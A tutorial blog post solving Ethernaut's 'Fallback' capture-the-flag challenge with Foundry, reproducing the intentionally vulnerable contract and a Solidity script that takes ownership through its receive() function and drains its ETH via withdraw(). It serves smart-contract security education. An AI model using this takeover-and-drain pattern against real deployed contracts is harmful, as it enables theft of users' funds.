Ethernaut CTF Fallback (Challenge 1): Foundry Solution 2024
In this article, we will be solving the “Ethernaut 1 — Fallback” challenge with Foundry. I’ll guide you through the entire process.
In case you prefer a video tutorial? I’ve got you covered!
Prerequisites
Before we begin, make sure you’ve completed the following prerequisites:
- Watch the first video in this series on how to start with Ethernaut and set up your Foundry local environment for solving challenges:
- Clone the Ethernaut Foundry Solutions Repository (don’t forget to leave a star on Github 😉)
- Subscribe to the JohnnyTime YouTube channel for more tutorials and updates, and check the full Ethernaut Foundry Solutions playlist.
- Want to make out of Smart Contract Hacking into a career? Check out the full Smart Contract Hacking Course.
Understanding the Challenge
In the Fallback smart contract, our goal is to claim ownership of the contract and then reduce it’s balance to 0 (drain it).
Fallback.sol Smart Contract Overview
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// Objectives
// 1. Claim ownership of this contract
// 2. Drain it's ETH
contract Fallback {
mapping(address => uint) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
owner
is set tomsg.sender
in the constructor (we’re not the deployers 😢)withdraw()
is protected withonlyOwner
modifier, so once we become the owners we can drain the contract.- The only place where the contract owner can be changed is in the
receive()
function to themsg.sedner
(the one who calls it).
The Solution
To update the owner using the receive
function, you must meet the following requirements:
- Send an amount greater than 0 ETH in
msg.value
(even 1 WEI is sufficient). - Have an entry in the
contributions
mapping, meaning you must contribute at least 1 WEI to the smart contract.
To achieve this, simply follow these steps:
- Invoke the
contribute
function with a contribution of 1 WEI. - Make a call to the contract without any additional data, sending 1 WEI to trigger the
receive
function.
Let’s create a new script FallbackSolution.s.sol
in our Foundry project in the src\
folder and paste the following solidity code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../src/Fallback.sol";
import "forge-std/Script.sol";
import "forge-std/console.sol";
contract FallbackSolution is Script {
Fallback public fallbackInstance = Fallback(payable(YOUR_INSTANCE_ADDRESS));
function run() external {
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
fallbackInstance.contribute{value: 1 wei}();
address(fallbackInstance).call{value: 1 wei}("");
console.log("New Owner: ", fallbackInstance.owner());
console.log("My Address: ", vm.envAddress("MY_ADDRESS"));
fallbackInstance.withdraw();
vm.stopBroadcast();
}
}
Make sure to update YOUR_INSTANCE_ADDRESS with the instance address that you received from the Ethernaut website.
This script first calls the contribute
function with 1 WEI and then triggers the default receive()
function by making a low-level call to the contract with 1 WEI.
Solving the Challenge
Now that the exploit script is ready, we can execute from our terminal the following command:
forge script script/FallbackSolution.s.sol --broadcast
Now, after our transaction was submitted and main on the Goerli blockchain, we can go to the ethernaut challenge page and click “Submit Instance”:
And congratulation! You completed the second Ethernaut challenge 🥳
Don’t Forget
- Follow me on Medium for more awesome articles and tutorials.
- Subscribe to the JohnnyTime YouTube channel for more tutorials and updates, and check the full Ethernaut Foundry Solutions playlist.
- Become a Certified Smart Contract Hacker
See you in the next tutorial! 😉